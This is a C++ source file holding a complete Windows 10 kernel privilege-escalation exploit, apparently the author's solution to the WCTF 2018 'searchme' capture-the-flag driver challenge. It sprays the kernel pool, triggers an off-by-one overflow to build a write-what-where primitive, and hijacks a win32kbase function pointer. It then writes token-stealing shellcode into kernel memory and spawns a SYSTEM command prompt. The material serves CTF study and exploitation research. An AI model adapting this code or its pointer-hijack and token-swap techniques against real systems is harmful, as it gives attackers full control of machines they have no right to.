// WCTF 2018 "searchme" task exploit
//
// Author:    Mateusz "j00ru" Jurczyk
// Date:      6 July 2018
// Tested on: Windows 10 1803 (10.0.17134.165)
//
// See also:  https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <algorithm>
#include <cstdio>
#include <vector>

#pragma comment(lib, "ntdll.lib")

//
// Internal data structures found in the symbols of the original elgoog2 challenge from 34C3 CTF
// (see https://archive.aachen.ccc.de/34c3ctf.ccc.ac/challenges/index.html).
//

struct _ii_posting_list {
  char token[16];
  unsigned __int64 size;
  unsigned __int64 capacity;
  unsigned int data[1];
};

struct _ii_token_table {
  unsigned __int64 size;
  unsigned __int64 capacity;
  _ii_posting_list *slots[1];
};

struct _inverted_index {
  int compressed;
  _ii_token_table *table;
};

//
// Global objects used in the exploit.
//

namespace globals {

  // Handle to the \\.\Searchme vulnerable device.
  HANDLE hDevice;

  // A fake posting list set up in user-mode, identified as "fake" and with a UINT64_MAX capacity.
  // It is used for a write-what-where primitive through an adequately set "size" field.
  _ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };

}  // namespace globals

// 
// Constant, structures and functions needed to obtain driver image base addresses through
// NtQuerySystemInformation(SystemModuleInformation).
//

#define SystemModuleInformation ((SYSTEM_INFORMATION_CLASS)11)

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  HANDLE Section;
  PVOID MappedBase;
  PVOID ImageBase;
  ULONG ImageSize;
  ULONG Flags;
  USHORT LoadOrderIndex;
  USHORT InitOrderIndex;
  USHORT LoadCount;
  USHORT OffsetToFileName;
  UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
  ULONG NumberOfModules;
  RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

BOOLEAN GetKernelModuleBase(PCHAR Name, ULONG_PTR *lpBaseAddress) {
  PRTL_PROCESS_MODULES ModuleInformation = NULL;
  ULONG InformationSize = 16;
  NTSTATUS NtStatus;

  do {
    InformationSize *= 2;

    ModuleInformation = (PRTL_PROCESS_MODULES)realloc(ModuleInformation, InformationSize);
    memset(ModuleInformation, 0, InformationSize);

    NtStatus = NtQuerySystemInformation(SystemModuleInformation,
                                        ModuleInformation,
                                        InformationSize,
                                        NULL);
  } while (NtStatus == STATUS_INFO_LENGTH_MISMATCH);

  if (!NT_SUCCESS(NtStatus)) {
    return FALSE;
  }

  BOOL Success = FALSE;
  for (UINT i = 0; i < ModuleInformation->NumberOfModules; i++) {
    CONST PRTL_PROCESS_MODULE_INFORMATION Module = &ModuleInformation->Modules[i];
    CONST USHORT OffsetToFileName = Module->OffsetToFileName;

    if (!strcmp((const char *)&Module->FullPathName[OffsetToFileName], Name)) {
      *lpBaseAddress = (ULONG_PTR)ModuleInformation->Modules[i].ImageBase;
      Success = TRUE;
      break;
    }
  }

  free(ModuleInformation);
  return Success;
}

//
// Functions facilitating communication with the Searchme driver through IOCTLs.
//

#define IOCTL_CREATE_INDEX   (0x222000)
#define IOCTL_CLOSE_INDEX    (0x222004)
#define IOCTL_ADD_TO_INDEX   (0x222008)
#define IOCTL_COMPRESS_INDEX (0x22200C)

ULONG_PTR CreateEmptyIndex() {
  ULONG_PTR Address;
  DWORD BytesReturned;

  if (!DeviceIoControl(globals::hDevice,
                       IOCTL_CREATE_INDEX,
                       /*lpInBuffer=*/NULL, /*nInBufferSize=*/0,
                       /*lpOutBuffer=*/&Address, /*nOutBufferSize=*/sizeof(Address),
                       &BytesReturned,
                       NULL)) {
    return 0;
  }

  return Address;
}

BOOLEAN CloseIndex(ULONG_PTR Address) {
  DWORD BytesReturned;

  return DeviceIoControl(globals::hDevice,
                         IOCTL_CLOSE_INDEX,
                         /*lpInBuffer=*/&Address, /*nInBufferSize=*/sizeof(Address),
                         /*lpOutBuffer=*/NULL, /*nOutBufferSize=*/0,
                         &BytesReturned,
                         NULL);
}

BOOLEAN AddToIndex(ULONG_PTR Address, DWORD Value, PCHAR Token) {
  struct {
    ULONG_PTR Address;
    DWORD Value;
    CHAR Token[16];
  } Request;
  DWORD BytesReturned;

  RtlZeroMemory(&Request, sizeof(Request));
  Request.Address = Address;
  Request.Value = Value;
  strncpy_s(Request.Token, Token, sizeof(Request.Token));

  return DeviceIoControl(globals::hDevice,
                         IOCTL_ADD_TO_INDEX,
                         /*lpInBuffer=*/&Request, /*nInBufferSize=*/sizeof(Request),
                         /*lpOutBuffer=*/NULL, /*nOutBufferSize=*/0,
                         &BytesReturned,
                         NULL);
}

ULONG_PTR CompressIndex(ULONG_PTR Address) {
  ULONG_PTR NewAddress = 0;
  DWORD BytesReturned;

  if (!DeviceIoControl(globals::hDevice,
                       IOCTL_COMPRESS_INDEX,
                       /*lpInBuffer=*/&Address, /*nInBufferSize=*/sizeof(Address),
                       /*lpOutBuffer=*/&NewAddress, /*nOutBufferSize=*/sizeof(NewAddress),
                       &BytesReturned,
                       NULL)) {
    return 0;
  }

  return NewAddress;
}

//
// A helper function converting an integer to a string within the [a-h] charset.
//

std::string StringFromNumber(unsigned int x) {
  const char charset[] = "abcdefgh";
  char buf[2] = { 0, 0 };
  std::string ret;

  for (int i = 0; i < 11; i++) {
    buf[0] = charset[x & 7];
    ret += buf;
    x >>= 3;
  }

  return ret;
}

//
// Functions for leveraging the write-what-where primitive through a fully controlled posting list
// set up in user-mode memory.
//

BOOLEAN SetupWriteWhatWhere() {
  CONST PVOID kTablePointer = (PVOID)0x0000056c00000558;
  CONST PVOID kTableBase = (PVOID)0x0000056c00000000;

  if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) {
    printf("[-] Unable to allocate fake base.\n");
    return FALSE;
  }

  _ii_token_table *TokenTable = (_ii_token_table *)kTablePointer;
  TokenTable->size = 1;
  TokenTable->capacity = 1;
  TokenTable->slots[0] = &globals::PostingList;

  return TRUE;
}

VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) {
  globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);

  AddToIndex(CorruptedIndex, What, "fake");
}

VOID WriteWhatWhere8(ULONG_PTR CorruptedIndex, ULONG_PTR Where, ULONG_PTR What) {
  WriteWhatWhere4(CorruptedIndex, Where, (What & 0xffffffffLL));
  WriteWhatWhere4(CorruptedIndex, Where + 4, ((What >> 32LL) & 0xffffffffLL));
}

VOID WriteWhatWhereString(ULONG_PTR CorruptedIndex, ULONG_PTR Where, std::string What) {
  What.resize((What.size() + 3) & (~3), 0xcc);

  for (size_t i = 0; i < What.size(); i += 4) {
    WriteWhatWhere4(CorruptedIndex, Where + i, *(DWORD*)&What.data()[i]);
  }
}

//
// A helper function spawning a (hopefully elevated) command prompt and waiting for its termination.
//

VOID SpawnAndWaitForShell() {
  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  RtlZeroMemory(&si, sizeof(si));
  RtlZeroMemory(&pi, sizeof(pi));
  si.cb = sizeof(si);

  if (CreateProcess(L"C:\\Windows\\system32\\cmd.exe",
                    NULL, NULL, NULL, FALSE, 0, NULL, L"C:\\", &si, &pi)) {
    WaitForSingleObject(pi.hProcess, INFINITE);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
  }
}

//
// main()
//

int main() {
  std::string Shellcode;
  int ExitCode = 0;

  // Make this a GUI thread.
  LoadLibrary(L"user32.dll");

  // Get the image base addresses of all required images.
  ULONG_PTR Nt_Addr = 0, Win32kBase_Addr = 0;
  if (!GetKernelModuleBase("ntoskrnl.exe", &Nt_Addr) ||
      !GetKernelModuleBase("win32kbase.sys", &Win32kBase_Addr)) {
    printf("[-] Unable to acquire kernel module address information.\n");
    return 1;
  }

  printf("[+] ntoskrnl: %llx, win32kbase: %llx\n", Nt_Addr, Win32kBase_Addr);

  // Open device for communication.
  globals::hDevice = CreateFile(L"\\\\.\\Searchme",
                                GENERIC_READ | GENERIC_WRITE,
                                0, NULL, OPEN_EXISTING, 0, NULL);

  if (globals::hDevice == INVALID_HANDLE_VALUE) {
    printf("[-] Unable to open handle to vulnerable driver.\n");
    return 1;
  }

  // Create a single source index which generates 0x2000-byte long indexes after compression. 
  ULONG_PTR SourceIndex = CreateEmptyIndex();
  for (int i = 0; i < 0x154; i++) {
    AddToIndex(SourceIndex, 0x1000 + i, (PCHAR)StringFromNumber(i).c_str());
  }

  printf("[+] Source Index: %llx\n", SourceIndex);

  // "Spray" compressed indexes in an attempt to allocate adjacent objects on the pool.
  CONST UINT kObjectsCount = 32;
  CONST UINT kObjectSize = 0x2000;

  std::vector<ULONG_PTR> Compressed;
  for (int i = 0; i < kObjectsCount; i++) {
    Compressed.push_back(CompressIndex(SourceIndex));
  }

  sort(Compressed.begin(), Compressed.end());

  // Search for the adjacent objects among the generated indexes, and when they are found, free the
  // first one in the pair.
  ULONG AdjacentPairs = 0;
  for (int i = 1; i < Compressed.size(); i++) {
    if (Compressed[i] - Compressed[i - 1] == kObjectSize) {
      CloseIndex(Compressed[i - 1]);
      Compressed[i - 1] = 0;

      AdjacentPairs++;
      i++;
    }
  }

  if (AdjacentPairs == 0) {
    printf("[-] No adjacent allocations found, exploitation impossible.\n");
    ExitCode = 1;
    goto fail;
  }

  printf("[+] Total adjacent objects: %d\n", AdjacentPairs);

  // Add more data to the source index, which still keeps the resulting compressed object at 0x2000
  // bytes, but also overflows it by a single 0x00 byte.
  AddToIndex(SourceIndex, 7, "zzzzzz");
  AddToIndex(SourceIndex, 0, "zzzzzz");
  AddToIndex(SourceIndex, 1, "zzzzzz");
  AddToIndex(SourceIndex, 6, "zzzzzz");
  AddToIndex(SourceIndex, 7, "zzzzzz");

  // Trigger the off-by-one nul byte overflow to clear the "compressed" flag of an adjacent object,
  // resulting in a type confusion.
  CompressIndex(SourceIndex);

  // Set up a fake posting list in user-mode, to enable us to use the write-what-where primitive.
  SetupWriteWhatWhere();

  // Try to detect which index was corrupted by attempting to use the write-what-where condition to
  // write to a test variable on the stack.
  ULONG_PTR CorruptedIndex = 0;
  DWORD TestTarget = 0;
  for (ULONG_PTR Index : Compressed) {
    WriteWhatWhere4(Index, (ULONG_PTR)&TestTarget, 1);

    if (TestTarget == 1) {
      CorruptedIndex = Index;
      break;
    }
  }

  if (CorruptedIndex == 0) {
    printf("[-] No corrupted index found, overflow unsuccessful?\n");
    ExitCode = 1;
    goto fail;
  }
  
  printf("[+] Corrupted index: %llx\n", CorruptedIndex);

  // System-specific offsets within ntoskrnl.exe and win32kbase.sys.
#define ExAllocatePoolWithTag_OFFSET                  0x2F4410
#define PsInitialSystemProcess_OFFSET                 0x45B260
#define NtGdiDdDDIGetContextSchedulingPriority_OFFSET 0x1B60C0

  // Overwrite a function pointer in the .data section of win32kbase.sys used by
  // win32kbase!NtGdiDdDDIGetContextSchedulingPriority. The system call is a trivial wrapper around
  // dxgkrnl!DxgkGetContextSchedulingPriority and passes the original arguments. Thanks to this, we
  // can replace the pointer with the address of nt!ExAllocatePoolWithTag and allocate executable
  // memory from the NonPagedPool for the EoP shellcode.
  //
  // The technique was introduced by Morten Schenk at Black Hat USA 2017 in his talk titled
  // "TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAGING WRITE-WHAT-WHERE
  //  VULNERABILITIES IN CREATORS UPDATE".
  //
  // We chose a different, less frequently invoked system call, because overwriting the proposed
  // NtGdiDdDDICreateAllocation pointer caused the graphical subsystem to malfunction.
  WriteWhatWhere8(CorruptedIndex,
                  /*Where=*/Win32kBase_Addr + NtGdiDdDDIGetContextSchedulingPriority_OFFSET,
                  /*What=*/Nt_Addr + ExAllocatePoolWithTag_OFFSET);

  // Load the address of the gdi32full!NtGdiDdDDIGetContextSchedulingPriority user-mode entry point
  // to our overwritten kernel pointer.
  HMODULE hGdi32 = LoadLibrary(L"gdi32full.dll");

  typedef ULONG_PTR(__stdcall *FunctionProxy)(SIZE_T, SIZE_T);
  FunctionProxy KernelFunction =
      (FunctionProxy)GetProcAddress(hGdi32, "NtGdiDdDDIGetContextSchedulingPriority");

  // Allocate one page of kernel RWX memory.
  ULONG_PTR ShellcodeAddr = KernelFunction(0 /* NonPagedPool */, 0x1000);
  printf("[+] Kernel allocation: %llx\n", ShellcodeAddr);

  // The shellcode takes the address of a pointer to a process object in the kernel in the first
  // argument (RCX), and copies its security token to the current process.
  //
  // 00000000  65488B0425880100  mov rax, [gs:KPCR.Prcb.CurrentThread]
  // -00
  // 00000009  488B80B8000000    mov rax, [rax + ETHREAD.Tcb.ApcState.Process]
  // 00000010  488B09            mov rcx, [rcx]
  // 00000013  488B8958030000    mov rcx, [rcx + EPROCESS.Token]
  // 0000001A  48898858030000    mov [rax + EPROCESS.Token], rcx
  // 00000021  C3                ret
  CONST BYTE ShellcodeBytes[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"
                                "\x48\x8B\x09\x48\x8B\x89\x58\x03\x00\x00\x48\x89\x88\x58\x03\x00"
                                "\x00\xC3";
  Shellcode.assign((PCHAR)ShellcodeBytes, sizeof(ShellcodeBytes));

  // Write the token-swap shellcode to allocated kernel memory.
  WriteWhatWhereString(CorruptedIndex, /*Where=*/ShellcodeAddr, /*What=*/Shellcode);

  // Overwrite the function pointer again with the address of our shellcode.
  WriteWhatWhere8(CorruptedIndex,
                  /*Where=*/Win32kBase_Addr + NtGdiDdDDIGetContextSchedulingPriority_OFFSET,
                  /*What=*/ShellcodeAddr);

  // Copy the security token of the System process to the current process.
  KernelFunction(Nt_Addr + PsInitialSystemProcess_OFFSET, 0);

  // Spawn elevated command prompt.
  SpawnAndWaitForShell();

fail:
  // Clean up all active indexes and close the device.
  for (ULONG_PTR Index : Compressed) {
    if (Index != 0) {
      CloseIndex(Index);
    }
  }
  
  CloseIndex(SourceIndex);
  CloseHandle(globals::hDevice);

  return ExitCode;
}